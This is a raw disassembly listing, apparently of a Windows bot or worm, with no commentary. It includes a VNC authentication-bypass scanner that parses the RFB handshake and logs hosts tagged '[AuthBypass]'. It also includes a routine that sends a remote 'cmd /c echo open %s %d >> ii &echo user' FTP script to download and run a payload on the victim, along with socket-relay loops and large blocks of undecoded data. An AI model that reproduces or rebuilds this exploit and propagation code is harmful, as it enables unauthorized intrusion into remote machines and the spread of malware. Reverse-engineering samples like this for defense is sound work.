push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40E296 add esp, 2Ch test al, al jz short loc_40E85F cmp [ebp-4Ch], ebx jz short loc_40E851 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2710000h test eax, eax jnz short loc_40E838 nop call near ptr 2680DCDh cmp eax, 3E5h jnz loc_40E439 loc_40E838: ; CODE XREF: ___:0040E825j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2690830h cmp eax, 102h jnz short loc_40E851 mov byte ptr [ebp+0Bh], 1 loc_40E851: ; CODE XREF: ___:0040E804j ; ___:0040E84Bj cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40E7CD jmp short loc_40E862 ; --------------------------------------------------------------------------- loc_40E85F: ; CODE XREF: ___:0040E7FFj mov esi, [ebp-8] loc_40E862: ; CODE XREF: ___:0040E7D1j ; ___:0040E85Dj push dword ptr [ebp-4] mov edi, dword_427078 call edi push esi call sub_41BA31 cmp [ebp-4Ch], ebx pop ecx jz short loc_40E87E push dword ptr [ebp-4Ch] call edi loc_40E87E: ; CODE XREF: ___:0040E877j cmp [ebp+0Bh], bl setnz al loc_40E884: ; CODE XREF: ___:0040E43Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 6Dh ; m db 0D4h ; Ô db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 0E8h ; è db 43h ; C db 2Ah ; * db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 0E8h ; è db 82h ; ‚ db 2Eh ; . db 6Ah ; j db 71h ; q db 90h ; db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 4Eh ; N db 53h ; S db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 75h ; u db 55h ; U db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 14h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 40h ; @ db 90h ; db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0E1h ; á db 0C0h ; À db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 20h db 2Ch ; , db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 0CFh ; Ï db 0D7h ; × db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 1Eh db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0A2h ; ¢ db 31h ; 1 db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 90h ; db 0E8h ; è db 0FEh ; þ db 30h ; 0 db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ã db 53h dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh dd 7D0h, 1B5DE890h, 83430227h, 0B87202FBh, 5F58016Ah ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9CB proc near ; CODE XREF: sub_40EAB9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EA99 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40EA99 mov edi, 400h push esi mov esi, dword_427214 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4C9040 push [ebp+arg_0] call sub_40A9FA pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40EA9D loc_40EA99: ; CODE XREF: sub_40E9CB+50j ; sub_40E9CB+62j xor eax, eax jmp short loc_40EAB4 ; --------------------------------------------------------------------------- loc_40EA9D: ; CODE XREF: sub_40E9CB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAB4: ; CODE XREF: sub_40E9CB+D0j pop edi pop esi pop ebx leave retn sub_40E9CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAB9 proc near ; CODE XREF: sub_40C3D3+1E6p ; DATA XREF: ___:off_43180Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4C9344 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4C9304 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB2B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB0C push esi jmp short loc_40EB25 ; --------------------------------------------------------------------------- loc_40EB0C: ; CODE XREF: sub_40EAB9+4Ej push 0 push 1213h push offset dword_432C94 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB2F loc_40EB25: ; CODE XREF: sub_40EAB9+51j nop call near ptr 71AB1A6Dh loc_40EB2B: ; CODE XREF: sub_40EAB9+3Cj xor eax, eax jmp short loc_40EB71 ; --------------------------------------------------------------------------- loc_40EB2F: ; CODE XREF: sub_40EAB9+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9CB add esp, 0C0h test eax, eax jz short loc_40EB6E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40EB6E: ; CODE XREF: sub_40EAB9+9Ej push 1 pop eax loc_40EB71: ; CODE XREF: sub_40EAB9+74j pop edi pop esi leave retn sub_40EAB9 endp ; =============== S U B R O U T I N E ======================================= sub_40EB75 proc near ; CODE XREF: ___:0040EC63p ; ___:0040ECC5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EB7D: ; CODE XREF: sub_40EB75+2Dj test edi, edi jle short loc_40EBA8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4C931C test eax, eax jz short loc_40EBA4 cmp eax, 0FFFFFFFFh jz short loc_40EBA4 sub edi, eax add esi, eax jmp short loc_40EB7D ; --------------------------------------------------------------------------- loc_40EBA4: ; CODE XREF: sub_40EB75+22j ; sub_40EB75+27j xor eax, eax jmp short loc_40EBAB ; --------------------------------------------------------------------------- loc_40EBA8: ; CODE XREF: sub_40EB75+Aj push 1 pop eax loc_40EBAB: ; CODE XREF: sub_40EB75+31j pop edi pop esi retn sub_40EB75 endp ; =============== S U B R O U T I N E ======================================= sub_40EBAE proc near ; CODE XREF: ___:0040ECAFp ; ___:0040ECDCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EBEB xor esi, esi test edi, edi jle short loc_40EBE5 loc_40EBBE: ; CODE XREF: sub_40EBAE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_40EBEB test eax, eax jz short loc_40EBEB add esi, eax cmp esi, edi jl short loc_40EBBE loc_40EBE5: ; CODE XREF: sub_40EBAE+Ej push 1 pop eax loc_40EBE8: ; CODE XREF: sub_40EBAE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EBEB: ; CODE XREF: sub_40EBAE+8j ; sub_40EBAE+2Bj ... xor eax, eax jmp short loc_40EBE8 sub_40EBAE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433ED8 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC1D push eax jmp short loc_40EC51 ; --------------------------------------------------------------------------- loc_40EC1D: ; CODE XREF: ___:0040EC18j lea eax, [ebp+0Ch] push eax call dword_4C9344 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4C9304 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_40EC5C push ebx loc_40EC51: ; CODE XREF: ___:0040EC1Bj call dword_4C939C jmp loc_40EE57 ; --------------------------------------------------------------------------- loc_40EC5C: ; CODE XREF: ___:0040EC4Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CA73 add esp, 10h cmp eax, esi jnz loc_40EE50 cmp dword ptr [ebp-28h], 3 jz short loc_40ECA8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE50 loc_40ECA8: ; CODE XREF: ___:0040EC9Cj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE50 push 1 push offset word_4C91BC push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D735 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EDE0 push edi push esi push ebx call sub_40EB75 add esp, 0Ch loc_40EDE0: ; CODE XREF: ___:0040EDD3j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C100 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 lea eax, [ebp-24Ch] push eax call sub_415CEE mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431810[eax] push ebx lea eax, dword_431810[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40EE59 ; --------------------------------------------------------------------------- loc_40EE50: ; CODE XREF: ___:0040EC6Dj ; ___:0040EC92j ... push ebx nop call near ptr 71AB1A6Dh loc_40EE57: ; CODE XREF: ___:0040EC57j xor eax, eax loc_40EE59: ; CODE XREF: ___:0040EE4Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE67: ; CODE XREF: ___:0040EE83j ; ___:0040EE9Fj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CC048 call dword_4C931C test eax, eax jle short loc_40EE67 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CC044 nop call near ptr 2720000h jmp short loc_40EE67 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEAA: ; CODE XREF: ___:0040EED0j ; ___:0040EEEAj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CC038 call near ptr 2710000h nop cmp dword ptr [ebp-4], 0 jle short loc_40EEAA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CC048 call dword_4C9354 jmp short loc_40EEAA ; --------------------------------------------------------------------------- dword_40EEEC dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401AC7+2CDAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 0F1E85057h, 830000CDh, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4C9304h, 6A56066Ah, 45896602h, 8415FFCAh dd 89004C93h, 458D0845h, 50106AC8h, 0FF0875FFh, 4C933015h dd 0FF056A00h, 15FF0875h, 4C932Ch, 71141D8Bh, 358B0042h dd 427078h, 75FF5757h, 9815FF08h, 0A3004C93h, 4CC048h dd 57F4458Dh, 0C0446850h, 4068004Ch, 0C7004CC0h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CC03Ch dd 4CC03868h, 6AD3FF00h, 84458D44h, 55E85057h, 0A10000CDh dd 4CC040h, 890CC483h, 3CA1BC45h, 89004CC0h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 0A5E890B4h, 50023315h, 0C03C35FFh, 99E8004Ch dd 90023315h, 0FDE89050h, 8D02330Fh, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433EDC68h dd 96E85700h, 90022513h, 50E8458Dh, 0A1685757h, 8D0040EEh dd 5057F445h, 271588E8h, 45899002h, 0E8458DECh, 68575750h dd 40EE5Eh, 57F4458Dh, 6EE89050h, 6A022715h, 0F04589FFh dd 90D875FFh, 2817CBE8h, 75FF5702h, 1752E8F0h, 57900229h dd 90EC75FFh, 291747E8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 90D875FFh, 321CA9E8h, 4035FF02h, 0FF004CC0h, 4435FFD6h dd 0FF004CC0h, 3835FFD6h, 0FF004CC0h, 3C35FFD6h, 0FF004CC0h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AB2h, 0C050A359h dd 0C359004Ch dword_40F0D8 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD7C+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 5E85053h, 830000CCh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4C9304h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4C938415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA706h, 8D14C483h, 0FFFD4085h, 83E850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C553E8FFh, 5959FFFFh, 81E89053h dd 8B022E0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 4CB88900h dd 8D0043C2h, 5750EC45h, 933015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4C929815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA686h, 8D14C483h dd 0FFFD4085h, 3E850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4D3E8FFh dd 5959FFFFh, 1E89056h, 68022E0Eh, 0FFFEh, 9978E853h, 0A3590000h dd 4CC050h, 45896659h, 0EC458DEEh, 5750106Ah, 933015FFh dd 0C63B004Ch, 15FF5475h, 4C9298h, 7539F633h, 3D2775E4h dd 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh, 60858D50h dd 50FFFFFFh, 0FF50B5FFh, 0BE8FFFFh, 83FFFFA6h, 858D14C4h dd 0FFFFFD40h, 6A88E850h, 0B5FF0000h, 0FFFFFF54h, 0FFC458E8h dd 565959FFh, 0D86E890h, 56A022Eh, 2C15FF57h, 3B004C93h dd 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h, 8D004291h dd 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4C939815h, 0FFF88300h dd 74084589h, 0E47D83E6h, 6A217500h, 40858D00h, 0FFFFFFFDh dd 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h, 0FFA58DE8h dd 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A0Ah, 40858D59h dd 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h, 4C931Ch dd 74FFF883h, 0FF565696h, 4C904035h, 50B5FF00h, 0E8FFFFFFh dd 0FFFFB6E6h, 0E4685059h, 8D00433Eh, 0FFF94085h, 0E85053FFh dd 0CDD8h, 8D1CC483h, 0FFF94085h, 50006AFFh, 0C627E8h dd 8D505900h, 0FFF94085h, 75FF50FFh, 5415FF08h, 83004C93h dd 840FFFF8h, 0FFFFFF43h, 0C05805FFh, 38E9004Ch, 57FFFFFFh dd 939C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC358E8h, 6A59FFh dd 0C86E890h db 2Eh, 2 word_40F37A dw 8B55h ; DATA XREF: sub_40BD7C+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 6A4E11E8h, 53569071h, 0E890026Ah dd 716A484Eh, 71F4358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A214Eh dd 40A16690h, 83004C90h, 5000C865h, 0C445C766h, 15FF0002h dd 4C9304h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A99E8h dd 7DC08571h, 0E9C38B07h, 545h, 90570A6Ah, 6A6999E8h, 0D49D8971h dd 8BFFFFFDh, 4272201Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A240BE8h, 0F8839071h dd 0F3840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0C866E850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0C857E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 1716DE8h, 0FC08500h, 49F84h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A919CE8h dd 0FFF88371h, 476840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h dd 68156A56h, 4341A4h, 0E9D3FF50h, 420h, 60858D56h, 6AFFFFFDh dd 90575064h, 6A612FE8h, 7FC08571h, 0D4958B52h, 33FFFFFDh dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh dd 57FFFFFDh, 6A24BCE8h, 0B9E99071h, 8D000003h, 0FFFCC885h dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 43419Ch dd 0D49DE850h, 858D0000h, 0FFFFFF50h, 43419468h, 0F9E85000h dd 830000D1h, 0C08518C4h, 6A560D75h, 417C6816h, 82E90043h dd 8D000000h, 0FFFF5085h, 417468FFh, 0E8500043h, 0D1D4h dd 59C08559h, 6A560A75h, 415C6814h, 61EB0043h, 0FF50858Dh dd 5468FFFFh, 50004341h, 0D1B3E8h, 0C0855900h, 560A7559h dd 44680D6Ah, 0EB004341h, 50858D40h, 68FFFFFFh, 43413Ch dd 0D192E850h, 85590000h, 0A7559C0h, 68106A56h, 434128h dd 858D1FEBh, 0FFFFFF50h, 43412468h, 71E85000h, 590000D1h dd 7559C085h, 1E6A560Eh, 43410468h, 0D6E95700h, 0BF000002h dd 4340FCh, 0FF50858Dh, 5057FFFFh, 0D14BE8h, 0C0855900h dd 8D247559h, 0FFFCC885h, 40F868FFh, 0E8500043h, 0D134h dd 59C08559h, 6A560D75h, 40E46813h, 97E90043h, 8D000002h dd 0FFFF5085h, 0E85057FFh, 0D114h, 59C08559h, 858D2475h dd 0FFFFFCC8h, 4340E068h, 0FDE85000h, 590000D0h, 7559C085h dd 136A560Dh, 4340CC68h, 260E900h, 858D0000h, 0FFFFFF50h dd 4340C468h, 0D9E85000h, 590000D0h, 7559C085h, 0BE0A6A34h dd 434098h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h dd 0E8A56650h, 0C234h, 858D5059h, 0FFFFFED8h, 875FF50h dd 0F633D3FFh, 21AE9h, 50858D00h, 68FFFFFFh, 434090h, 0D08EE850h dd 85590000h, 2A7559C0h, 78BE056Ah, 59004340h, 0FF38BD8Dh dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C1E8h dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43407068h dd 4DE85000h, 590000D0h, 0F59C085h, 0B385h, 2C858D00h dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E445h dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 404868FFh, 0E8500043h dd 0D2A7h, 0FF04858Dh, 0E850FFFFh, 0C721h, 858DF88Bh, 0FFFFFD2Ch dd 0C713E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh dd 0C518h, 8DF475FFh, 0FFFF0485h, 406857FFh, 50004340h dd 0C7F9E8h, 44C48300h, 0FF04858Dh, 106AFFFFh, 0FE85056h dd 890000CDh, 458DF445h, 458D50ECh, 458D50E4h, 458D50DCh dd 458D50D4h, 403468B4h, 0E8500043h, 0C7C6h, 5624C483h dd 14681D6Ah, 0E9004340h, 106h, 0FF50858Dh, 0C68FFFFh dd 50004340h, 0CF7FE8h, 0C0855900h, 0CC850F59h, 56000000h dd 0E068286Ah, 0FF00433Fh, 0D3FF0875h, 8DF475FFh, 0E850B445h dd 108h, 1F88359h, 9E850F59h, 39000000h, 0FFFBBCB5h, 562375FFh dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh dd 0F920B5FFh, 0ABE8FFFFh, 83FFFF9Fh, 4AE814C4h, 83000001h dd 850F01F8h, 93h, 68176A56h, 433FC8h, 0FF0875FFh, 0B4458DD3h dd 20858D50h, 68FFFFF7h, 433F94h, 0C71CE850h, 0C4830000h dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FF9F4DE8h dd 14C483FFh, 0F720858Dh, 0E850FFFFh, 63CAh, 0BE1005FFh dd 0EB59004Ch, 206A562Eh, 433F7068h, 8D1FEB00h, 0FFFF5085h dd 0CD2C68FFh, 0E8500042h, 0CE98h, 59C08559h, 6A560D75h dd 3F54681Bh, 75FF0043h, 6AD3FF08h, 60858D64h, 56FFFFFDh dd 0C3A6E850h, 7D8B0000h, 0CC48308h, 0FC7D3B47h, 0F087D89h dd 0FFFB1C8Eh, 0FADCE9FFh, 16AFFFFh, 5B5E5F58h, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CC05C, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CC05C nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40FA04 push dword_4CC05C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA04: ; CODE XREF: ___:0040F9ECj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2670000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BC88 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAA0 test byte ptr [esi+0Ch], 10h jnz short loc_40FA84 push edi mov edi, 400h loc_40FA4C: ; CODE XREF: ___:0040FA81j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BA60 add esp, 10h lea 